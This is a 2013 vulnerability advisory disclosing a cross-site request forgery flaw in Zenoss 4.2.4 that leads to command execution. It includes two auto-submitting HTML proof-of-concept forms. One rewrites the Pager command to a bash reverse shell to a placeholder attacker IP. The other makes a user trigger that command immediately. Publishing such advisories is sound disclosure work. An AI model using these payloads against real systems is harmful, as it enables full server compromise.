security-assessment.com

Vulnerability Advisory

Name	Zenoss Cross Site Request Forgery to Code Execution
Vendor Website	http://www.zenoss.com
Date Released	28/11/2013
Affected Software	Zenoss 4.2.4-1897 Community Edition
Researchers	Denis Andzakovic

Description

Zenoss suffers from a Cross Site Request Forgery vulnerability that results in arbitrary command execution. A malicious actor that can coerce an authenticated administrative user to browse to a malicious site is able to rewrite the Pager command within Zenoss. The Pager command can be set to any Linux command and can interpret bash specific operators. As such, a malicious actor may trick an authenticated administrative user into unknowingly rewriting this parameter to a malicious command, resulting in complete system compromise whenever a page is sent.

Using the same technique, a malicious actor may coerce a legitimate user into testing the pager functionality for a specific user, resulting in immediate code execution and removing the need to wait for an appropriately configured event to trigger.

Exploitation

By tricking a user into browsing to a page with the following HTML code, a malicious actor may rewrite the pager command to execute a malicious command (in this case, a reverse shell connecting back to the attacker on port 4444):

Cross Site Request Forgery POC #1

```
<html>
  <body>
    <form id="pagerRewrite"action="http://<zenoss installation>/zport/dmd" method="POST">
      <input type="hidden" name="zenScreenName" value="editSettings" />
      <input type="hidden" name="redirect" value="true" />
      <input type="hidden" name="pageCommand" value="/bin/bash -i > /dev/tcp/<attackers IP>/4444
0<&1 2>&1" />
      <input type="hidden" name="zmanage_editProperties:method" value=" Save " />
    </form>

          <script>
                document.getElementById('pagerRewrite').submit();
          </script>
  </body>

</html>
```

The following POC can be used to trick a legitimate Zenoss user into submitting a 'test' Pager request against the 'admin' user, resulting in immediate code execution:

Cross Site Request Forgery POC #2

```
<html>
  <body>
    <form id="testRequest" action="http://<zenoss installation>/zport/dmd/ZenUsers">
      <input type="hidden" name="manage_pagerTestAdmin:method" value="1" />
      <input type="hidden" name="userid" value="admin" />
      <input type="hidden" value="Submit request" />

          <script>
                document.getElementById('testRequest').submit();
          </script>

    </form>
  </body>
</html>
```

Timeline

15/10/2013 – Initial vendor contact
16/10/2013 – Advisory sent to vendor
22/10/2013 – Follow up email sent to vendor
22/10/2013 – Vendor responded with "
This issue is known, and is in our backlog of bugs to be addressed, but has not been addressed yet. You can go ahead and disclose."

Solution

The vendor has advised that the solution is known and is in a backlog of bugs to be addressed. As such, no solution is available at this time.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 460 2596